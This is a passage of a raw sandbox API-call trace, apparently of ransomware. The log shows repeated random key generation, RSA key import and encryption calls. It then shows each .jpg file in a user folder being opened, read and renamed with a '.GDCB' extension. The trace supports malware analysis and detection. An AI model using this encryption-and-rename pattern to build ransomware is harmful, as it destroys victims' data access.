0x74cb0df0 [0193.219] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.219] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.219] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0193.220] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.221] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.221] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.221] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.221] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.223] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035650) returned 1 [0193.224] CryptGetKeyParam (in: hKey=0x5035650, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.224] CryptEncrypt (in: hKey=0x5035650, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.224] GetLastError () returned 0x0 [0193.224] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.224] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0193.226] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035550) returned 1 [0193.226] CryptGetKeyParam (in: hKey=0x5035550, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.226] CryptEncrypt (in: hKey=0x5035550, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.226] GetLastError () returned 0x0 [0193.226] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.226] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.228] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.229] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.230] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x160f, lpOverlapped=0x0) returned 1 [0193.246] VirtualAlloc (lpAddress=0x0, dwSize=0x1610, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.250] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f4b839c7.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f4b839c7.jpg.gdcb")) returned 0 [0193.255] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.256] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.257] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.257] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.257] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.257] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.258] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.259] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.259] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.259] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.259] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4540) returned 1 [0193.262] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x50357d0) returned 1 [0193.262] CryptGetKeyParam (in: hKey=0x50357d0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.262] CryptEncrypt (in: hKey=0x50357d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.262] GetLastError () returned 0x0 [0193.262] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.262] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0193.264] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035690) returned 1 [0193.266] CryptGetKeyParam (in: hKey=0x5035690, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.266] CryptEncrypt (in: hKey=0x5035690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.266] GetLastError () returned 0x0 [0193.266] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.266] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.268] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.270] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.271] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1ad9, lpOverlapped=0x0) returned 1 [0193.286] VirtualAlloc (lpAddress=0x0, dwSize=0x1ae0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.290] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f67a62c3.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f67a62c3.jpg.gdcb")) returned 0 [0193.295] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4430) returned 1 [0193.296] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.297] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.297] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.297] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.297] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.299] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.300] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.300] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.300] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.300] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.302] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f80f98) returned 1 [0193.302] CryptGetKeyParam (in: hKey=0x4f80f98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.302] CryptEncrypt (in: hKey=0x4f80f98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.302] GetLastError () returned 0x0 [0193.302] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.302] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.305] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x5035810) returned 1 [0193.305] CryptGetKeyParam (in: hKey=0x5035810, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.305] CryptEncrypt (in: hKey=0x5035810, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.305] GetLastError () returned 0x0 [0193.305] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.305] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.307] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.308] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.309] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1358, lpOverlapped=0x0) returned 1 [0193.318] VirtualAlloc (lpAddress=0x0, dwSize=0x1360, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.323] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f76d6757.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f76d6757.jpg.gdcb")) returned 0 [0193.328] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.330] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.331] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.331] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.331] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.331] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.332] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.333] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.333] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.333] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.333] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.336] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x4f7ff98) returned 1 [0193.336] CryptGetKeyParam (in: hKey=0x4f7ff98, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.336] CryptEncrypt (in: hKey=0x4f7ff98, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.337] GetLastError () returned 0x0 [0193.337] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.337] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4430) returned 1 [0193.339] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b478) returned 1 [0193.339] CryptGetKeyParam (in: hKey=0x508b478, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.339] CryptEncrypt (in: hKey=0x508b478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.339] GetLastError () returned 0x0 [0193.339] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0193.339] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.342] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.345] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x1b2b, lpOverlapped=0x0) returned 1 [0193.372] VirtualAlloc (lpAddress=0x0, dwSize=0x1b30, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.377] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\f7f275e5.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\f7f275e5.jpg.gdcb")) returned 0 [0193.381] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0193.382] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.383] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.383] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.383] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0193.383] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0193.384] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.385] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.385] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.385] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.385] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0193.387] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b6f8) returned 1 [0193.387] CryptGetKeyParam (in: hKey=0x508b6f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.387] CryptEncrypt (in: hKey=0x508b6f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f20000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x5f20000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0193.388] GetLastError () returned 0x0 [0193.388] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.388] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0193.390] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x508b3f8) returned 1 [0193.390] CryptGetKeyParam (in: hKey=0x508b3f8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0193.390] CryptEncrypt (in: hKey=0x508b3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5f30000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x5f30000*, pdwDataLen=0x285d120*=0x100) returned 1 [0193.390] GetLastError () returned 0x0 [0193.390] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0193.390] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0193.391] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5f40000 [0193.393] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5f50000 [0193.394] ReadFile (in: hFile=0x518, lpBuffer=0x5f50000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x5f50000*, lpNumberOfBytesRead=0x285d160*=0x24e3, lpOverlapped=0x0) returned 1 [0193.431] VirtualAlloc (lpAddress=0x0, dwSize=0x24f0, flAllocationType=0x3000, flProtect=0x4) returned 0x61a0000 [0193.435] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\fb970b75.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\fb970b75.jpg.gdcb")) returned 0 [0193.439] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4540) returned 1 [0193.442] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.443] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.443] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0193.443] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0193.443] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0193.444] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0193.445] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0193.445] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0193.445] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0193.445] CryptAcquireContextW (in: 